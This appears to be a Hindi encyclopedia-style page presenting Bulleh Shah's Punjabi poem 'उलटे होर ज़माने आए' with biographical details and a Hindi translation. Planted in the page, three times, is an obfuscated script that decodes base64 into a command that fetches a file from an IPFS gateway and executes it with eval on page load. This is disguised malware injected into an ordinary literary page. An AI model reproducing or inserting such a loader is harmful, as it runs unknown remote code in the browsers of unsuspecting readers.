उलटे होर ज़माने आए -बुल्ले शाह
|
|
|
|
कवि
|
बुल्ले शाह
|
जन्म
|
1680 ई.
|
जन्म स्थान
|
गिलानियाँ उच्च, वर्तमान पाकिस्तान
|
मृत्यु
|
1758 ई.
|
मुख्य रचनाएँ
|
बुल्ले नूँ समझावन आँईयाँ, अब हम गुम हुए, किते चोर बने किते काज़ी हो
|
इन्हें भी देखें
|
कवि सूची, साहित्यकार सूची
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
उलटे होर ज़माने आए,
काँ लग्गड़ नु मारन लग्घे चिड़ियाँ जुर्रे खाए।
अराकियाँ नु पाई चाबक पौंदी गड्ढे खुद पवाए।।
बुल्ला हुकम हजूरों आया तिस नू कौन हटाए
उलटे होर ज़माने आए।
|
हिन्दी अनुवाद
एकदम उल्टा ज़माना आ गया है।
कौए गिद्धों को मारने लगे हैं और चिड़िया बाज़ों को खाएँ।
घोड़ों को चाबुक मारे जा रहे हैं और गधों की गेहूँ की हरी-हरी बालें खिलाई जा रही हैं।
बुला कहता है हुज़ूर (प्रभु) के आदेश को कौन बदल सकता है।
एकदम उल्टा ज़माना आ गया है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>